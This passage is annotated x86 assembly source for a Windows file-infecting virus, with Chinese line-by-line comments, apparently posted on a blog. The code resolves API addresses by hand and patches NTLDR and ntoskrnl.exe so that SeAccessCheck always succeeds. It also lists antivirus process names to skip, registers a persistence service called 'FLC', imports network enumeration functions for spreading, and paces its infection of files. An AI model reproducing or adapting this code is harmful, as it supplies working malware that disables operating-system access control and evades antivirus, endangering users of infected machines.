mov eax,esi;eax现在是查找的api的字符串的地址了;

add eax,07 ;到第七个字节的地方;

push eax ;地址入栈;

push DLL_Base ;kernel32的基地址入栈,给getprocaddress当参数;

call GetProcAddress;调用getprocaddres得到其他的常用的api的地址,注意

这里不包括高级api的名字列表;

例如:CloseHandle: db 0B8,?,?,?,?,0FF,0E0,'CloseHandle',0

1 2 3 4 5 6 7 8

当add eax,07 后,从0b8开始(0b8是mov ax的机器码)加7后

就到了'closehandle'这里,就可以取字符串进行比较了;

另外在说说,这里的结构,0b8是mov ax,而0ffe0是jmp ax的机器码

后面的4个字节的空间是用来存放找到后的api的地址的,我们来看看

这里的汇编代码就知道了;

0b8,???? 对应为 mov ax,????-〉这里的????就是在查找后的地址,找到后加到这里 就是一句完
整的语句了;

0ff,0e0 对应为 jmp ax ---〉〉这里一看就明白了,是跳转到ax所代表的地址去执行

。就是这里的api啦;

or eax,eax ;

jz short DR_03;返回值如果为0,则失败,跳转到dr_03执行;

DR_01:

mov [esi + 1],eax;现在这里清楚了吧,esi+1后就是那4个????的地址,而eax在

getprocaddress执行后是代表的当前的这个查找的api在krnel32 里面的入口地址;

add esi,07 ;注意:上面是[esi+1],不是esi+1,esi的值没变化,加7后,就 到了字符串的位
置了;

DR_02:

lodsb -----|

or al,al | 这里是一个一个字节的比较是否为‘0’,为什么这么做呢?

jnz short DR_02-----|

大家再看看上面的结构,在过了7个字节后,就是api的名字了

因为名字长短不一,所以就只加了7,然后在用0来作为判断 api名字字符串结束的标志;

cmp byte ptr [esi],0B8;这里也就简单了,比较是否是0b8,判断是否到了第二行;

jz short DR_00 ;是则继续查找剩下的api,直到找完;

DR_03:

ret ;返回;



DLL_Relocate ENDP



; ------------------------------------------------------------------------- ;

; --------------------- NT Security Patch Routine --------------------- ;

; ------------------------------------------------------------------------- ;



BlownAway PROC PASCAL NEAR



ARG DirEnd : DWORD;得到buffer1里面的当前字符串的最后一位的位置;

USES esi,edi;保存esi,edi的值,本过程完成后恢复;



lea esi,[NTLDR @]-----|

mov edi,DirEnd |

movsd |

movsd -----------|构造形入x:/ntldr的字符串,在buffer1中;

lea edi,[Buffer1 @];当前的buffer1的首地址入edi;

lea esi,[NT4_NTLDR @];nt的ntldr的要计较的操作代码字符串的首地址入esi;

cmp byte ptr [OS @],01;比较当前是否是nt,

jz short BA_00;是则执行打补丁的步骤;

add esi,5 * 2;不是nt,那么esi指向变量W2K_NTLDR的位置,认为是2k的系统;

BA_00:

push edi;-------|

push esi |

push 05 |

call PatchFile---|开始给ntldr打补丁;

lea esi,[NTOSKRNL @]----------------|

mov edi,DirEnd |构造如x:/WINNT/System32/ntoskrnl.exe形 |式的字符串;

|

BA_01: |

|

movsb |

cmp byte ptr [esi - 1],00 |

jnz short BA_01---------------------|

lea edi,[Buffer1 @]----------------|

lea esi,[NT4_NTOSKRNL @] |

|

cmp byte ptr [OS @],01 |

jz short BA_02 |

add esi,9 * 2 |

|

BA_02: |

|

push edi |

push esi |

push 09 |

call PatchFile----------------------|给ntoskrnl.exe打补丁,和上面类似;

ret 至此打补丁的任务结束,可以收线了,缝缝补补也挺累人的;

BlownAway ENDP



; ------------------------------------------------------------------------- ;

; ------------------------- File Patch Routine ------------------------ ;

; ------------------------------------------------------------------------- ;



PatchFile PROC PASCAL NEAR



ARG p_Filename : DWORD, /得到文件名;

p_PatchAddr : DWORD, /得到补丁地址;

p_PatchSize : DWORD 得到循环的次数,这里是要修改的指令的字符串的长度;

LOCAL p_FileHandle : DWORD, /定义本地变量,存放文件句柄;

p_FileSize : DWORD, /定义本地变量,存放文件大小;

p_MapHandle : DWORD /定义本地变量,存放内存映射文件句柄;



USES esi,edi;保存esi,edi,本过程结束后自动恢复;



push p_Filename ----|

push 03 |

call OpenFile ------|判断文件是否存在;

cmp eax,-1 ---------|

jz short PA_Exit----|不存在就退出;

mov p_FileHandle,eax;保存句柄;

push 00-------------|

push eax |

call GetFileSize----|得到文件大小;

mov p_FileSize,eax;保存文件大小;

push p_FileHandle---|

push eax |

call MapFile--------|建立内存映射文件;

or eax,eax

jz short PA_CloseFile;失败,则跳转关闭文件;

mov p_MapHandle,eax;保存内存映射文件句柄;

push eax -------|

call ViewMap----|映射内存对象;

or eax,eax ------------|

jz short PA_CloseMap---|失败则关闭内存映射文件;

mov edx,eax;成功,保存句柄;

mov edi,eax;保存文件在内存中的起地址;

mov esi,p_PatchAddr;把补丁字符串的首地址给esi,为下面的比较做准备;

mov ecx,p_FileSize;得到文件大下,为下面的循环比较做准备;

PA_00:

push ecx;压栈保存循环次数;

push esi;压栈保存补丁字符串地址;

push edi;文件在内存中的地址入栈;

mov ecx,p_PatchSize;补丁大小入栈,这里是内层循环的次数;

repz cmpsb;比较,5个一组;

pop edi

pop esi

pop ecx

jz short PA_01;找到了,则修改;

inc edi;没找到,edi加1,在内存中后移一位

loop PA_00;继续寻找,ecx减1;

jmp short PA_Unmap;如果循环结束都没有找到,就去pa_unmap,做清理工作;

PA_01:

mov ecx,p_PatchSize----------|

add esi,ecx |

repz movsb -----------------|打补丁了

PA_Unmap:

push edx ;开始保存的内存映射文件的句柄可以起作用了;

call UnmapViewOfFile;在当前应用程序的内存地址空间解除映射

PA_CloseMap:

push p_MapHandle;关闭一个内核对象(除非该对象的所有引用都已关闭否则对象不

call CloseHandle;会被实际删除;

PA_CloseFile:

push p_FileHandle;关闭文件对象;

call CloseHandle;

PA_Exit:

ret



PatchFile ENDP



; ------------------------------------------------------------------------- ;

; --------------------------- Minor Routines -------------------------- ;

; ------------------------------------------------------------------------- ;



GetVS:

call $ + 5

pop ebx

sub ebx,offset GetVS + 5 - VStart

ret



; ------------------------------------------------------------------------- ;

; ------------------------------------------------------------------------- ;



RelocKernel32 PROC PASCAL NEAR



ARG r_Kernel32 : DWORD ;把开始压入的值,弹出给变量,即是,kernel32的返回地址;



push r_Kernel32 ;压栈,用堆栈传递参数给下面的调用;

call Whereis_GPA ;定位getprocaddress的地址,找到了它后面的其他的api就

办了;

or eax,eax ; eax里面是whereis_gpa执行后的值,当前值为kernel32的基地址;

jz short RK_00;判断是否成功,失败退出

push eax ;压栈eax,以堆栈传值给先面的dll_relocate过程;

lea esi,[Kernel32_Functions @] ;把api的名字字符串的首 地址传入esi,为下面的查找api地
址做准备;

push esi

call DLL_Relocate ;开始查找api,获取api的地址;

RK_00:

ret ;返回;



RelocKernel32 ENDP



; ------------------------------------------------------------------------- ;

; ------------------------------------------------------------------------- ;



RelocAdvapi32 PROC NEAR



lea eax,[ADVAPI32_Name @];取得高级api的名字字符串的地址;

push eax ;压栈

call LoadLibraryA;通过loadlibrary加载advapi32.dll

or eax,eax------|

jz short RA_00--|失败就退出;

push eax-----------------------------|这里的eax是加载后的dll的地址,搜索api |要用的到

lea esi,[ADVAPI32_Functions @] |

push esi |

call DLL_Relocate--------------------|成功就开始搜索advapi32里面的高级api的 地址

RA_00:

ret



RelocAdvapi32 ENDP



; ------------------------------------------------------------------------- ;

; ------------------------------------------------------------------------- ;



OpenFile PROC PASCAL NEAR



ARG o_Filename : DWORD, /从堆栈得到文件名;

o_OpenMode : DWORD 从堆栈的到打开方式;

push 20 --------|

push o_Filename |

call SetFileAttributesA-----|设置文件的属性;

push 00---------------------|

push 80 |

push o_OpenMode |

push 00 |

push 00 |

push 0C0000000 |

push o_Filename |

call CreateFileA------------|打开一个文件,以读写的方式;

ret



OpenFile ENDP



; ------------------------------------------------------------------------- ;

; ------------------------------------------------------------------------- ;



MapFile PROC PASCAL NEAR



ARG m_FileHandle : DWORD, /从堆栈取得文件句柄;

m_FileSize : DWORD 从堆栈取得文件的大小;



push 00-----------------|

push m_FileSize |

push 00 |

push 04 |

push 00 |

push m_FileHandle |

call CreateFileMappingA-|建立内存映射文件,以传递的参数的大小建立;

ret



MapFile ENDP



; ------------------------------------------------------------------------- ;

; ------------------------------------------------------------------------- ;



ViewMap PROC PASCAL NEAR



ARG v_MapHandle : DWORD ;得到内存映射文件句柄;



push 00--------------|

push 00 |

push 00 |

push 02 |

push v_MapHandle |

call MapViewOfFile---|将文件映射对象映射到本程序的地址空间;

ret



ViewMap ENDP



; ------------------------------------------------------------------------- ;

; ------------------------------------------------------------------------- ;



Wait_A_Little PROC NEAR



call GetTickCount---|

sub eax,[Tick @]---|取得当前的时间在和开始保存的比较看是否超过4秒了



cmp eax,4*1000d----|

jc short WAL_00---|没有就继续感染文件;

push 16d*1000d-------|

call Sleep-----------|超过了4秒了,就可是睡眠16秒;

call GetTickCount----|

mov [Tick @],eax----|把睡眠后的时间当作下次比较的标准保存在tick中

WAL_00:

ret



Wait_A_Little ENDP



; ------------------------------------------------------------------------- ;

; ------------------------------------------------------------------------- ;



GetRand PROC NEAR

push ecx

push edx

mov eax,[Rand @]

xor edx,edx

mov ecx,7FFFFFFF

mul ecx

inc eax

mov ecx,0FFFFFFFBh

div ecx

mov eax,edx

mov [Rand @],eax

pop edx

pop ecx

ret



GetRand ENDP



; ------------------------------------------------------------------------- ;

; -------------------------- INITIALIZED DATA ------------------------- ;

; ------------------------------------------------------------------------- ;



HostCode db 8 dup (?)



GPA_Sigs:

W9x db 0C2,04,00,57,6A,22,2Bh,0D2

NT4 db 0C2,04,00,55,8Bh,4C,24,0C

W2K db 00F,00,00,55,8Bh,0ECh,51,51



NTLDR db 'NTLDR',0

NT4_NTLDR db 3Bh,46,58,74,07 ; signature (file check)

db 3Bh,46,58,0EBh,07 ; patch

W2K_NTLDR db 3Bh,47,58,74,07

db 3Bh,47,58,0EBh,07



NTOSKRNL db 'WINNT/System32/ntoskrnl.exe',0

NT4_NTOSKRNL db 8A,0C3,5F,5E,5Bh,5Dh,0C2,28,00 ; SeAccessCheck

db 0B0,01,5F,5E,5Bh,5Dh,0C2,28,00

W2K_NTOSKRNL db 8A,45,14,5F,5E,5Bh,5Dh,0C2,28

db 0B0,01,90,5F,5E,5Bh,5Dh,0C2,28

SkipNames:

dd 139D7300h ; aler

dd 0F977200h ; amon

dd 118E7E1Eh ; _avp

dd 52886900h ; avp3

dd 0C886900h ; avpm

dd 13883207h ; f-pr

dd 168E7E0Fh ; navw

dd 0F997C12h ; scan

dd 128B7212h ; smss

dd 04907B05h ; ddhe

dd 00946F05h ; dpla

dd 00946F0Ch ; mpla



Process db 'flcss.exe',0

Service db 'FLC',0

; Minimal Import Section

VImports:

dd offset Kernel32_Pointers + I

dd -1,-1

dd offset Kernel32_Name + I

dd offset Kernel32_Relocated + I

db 14 dup (0)

Kernel32_Pointers dd offset Kernel32_Beep + I, 0

Kernel32_Relocated dd offset Kernel32_Beep + I, 0

Kernel32_Beep db ?,?,'Beep',0



; Virus Imports

Kernel32_Name db 'KERNEL32.dll',0

Kernel32_Functions:

CloseHandle: db 0B8,?,?,?,?,0FF,0E0,'CloseHandle',0

CreateFileA: db 0B8,?,?,?,?,0FF,0E0,'CreateFileA',0

CreateFileMappingA: db 0B8,?,?,?,?,0FF,0E0,'CreateFileMappingA',0

CreateProcessA: db 0B8,?,?,?,?,0FF,0E0,'CreateProcessA',0

CreateThread: db 0B8,?,?,?,?,0FF,0E0,'CreateThread',0

FindFirstFileA: db 0B8,?,?,?,?,0FF,0E0,'FindFirstFileA',0

FindNextFileA: db 0B8,?,?,?,?,0FF,0E0,'FindNextFileA',0

FindClose: db 0B8,?,?,?,?,0FF,0E0,'FindClose',0

GetCurrentProcessId: db 0B8,?,?,?,?,0FF,0E0,'GetCurrentProcessId',0

GetDriveTypeA: db 0B8,?,?,?,?,0FF,0E0,'GetDriveTypeA',0

GetFileSize: db 0B8,?,?,?,?,0FF,0E0,'GetFileSize',0

GetProcAddress: db 0B8,?,?,?,?,0FF,0E0,'GetProcAddress',0

GetTickCount: db 0B8,?,?,?,?,0FF,0E0,'GetTickCount',0

GetSystemDirectoryA: db 0B8,?,?,?,?,0FF,0E0,'GetSystemDirectoryA',0

LoadLibraryA: db 0B8,?,?,?,?,0FF,0E0,'LoadLibraryA',0

MapViewOfFile: db 0B8,?,?,?,?,0FF,0E0,'MapViewOfFile',0

ReadFile: db 0B8,?,?,?,?,0FF,0E0,'ReadFile',0

SetFileAttributesA: db 0B8,?,?,?,?,0FF,0E0,'SetFileAttributesA',0

SetFileTime: db 0B8,?,?,?,?,0FF,0E0,'SetFileTime',0

Sleep: db 0B8,?,?,?,?,0FF,0E0,'Sleep',0

UnmapViewOfFile: db 0B8,?,?,?,?,0FF,0E0,'UnmapViewOfFile',0

VirtualAlloc: db 0B8,?,?,?,?,0FF,0E0,'VirtualAlloc',0

VirtualFree: db 0B8,?,?,?,?,0FF,0E0,'VirtualFree',0

WriteFile: db 0B8,?,?,?,?,0FF,0E0,'WriteFile',0

; this function does only exist under Win9x

db 0

RegisterServiceProcess: db 0B8,?,?,?,?,0FF,0E0,'RegisterServiceProcess',0

USER32_Name db 'USER32.dll',0

RegisterClassA: db 0B8,?,?,?,?,0FF,0E0,'RegisterClassA',0

ADVAPI32_Name db 'ADVAPI32.dll',0

ADVAPI32_Functions:

OpenSCManagerA: db 0B8,?,?,?,?,0FF,0E0,'OpenSCManagerA',0

OpenServiceA: db 0B8,?,?,?,?,0FF,0E0,'OpenServiceA',0

CreateServiceA: db 0B8,?,?,?,?,0FF,0E0,'CreateServiceA',0

StartServiceA: db 0B8,?,?,?,?,0FF,0E0,'StartServiceA',0

StartServiceCtrlDispatcherA: db 0B8,?,?,?,?,0FF,0E0,'StartServiceCtrlDispatcherA',0

RegisterServiceCtrlHandlerA: db 0B8,?,?,?,?,0FF,0E0,'RegisterServiceCtrlHandlerA',0

SetServiceStatus: db 0B8,?,?,?,?,0FF,0E0,'SetServiceStatus',0

MPR_Name db 'MPR.dll',0

MPR_Functions:

WNetOpenEnumA: db 0B8,?,?,?,?,0FF,0E0,'WNetOpenEnumA',0

WNetEnumResourceA: db 0B8,?,?,?,?,0FF,0E0,'WNetEnumResourceA',0

WNetCloseEnum: db 0B8,?,?,?,?,0FF,0E0,'WNetCloseEnum',0

VEnd:



; ------------------------------------------------------------------------- ;

; ------------------------- UNINITIALIZED DATA ------------------------ ;

; ------------------------------------------------------------------------- ;



Kernel32_Base dd ?

Rand dd ?

Tick dd ?

OS db ?



ALIGN 100



Buffer1 db 200 dup (0) ; Current Directory

Buffer2 db 200 dup (?) ; Search Buffer

Buffer3 db 2000 dup (?) ; Read Buffer



VSize equ offset VEnd - VStart

Phys_VSize equ 1000

Virt_VSize equ 4000



CODE ENDS

END main

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值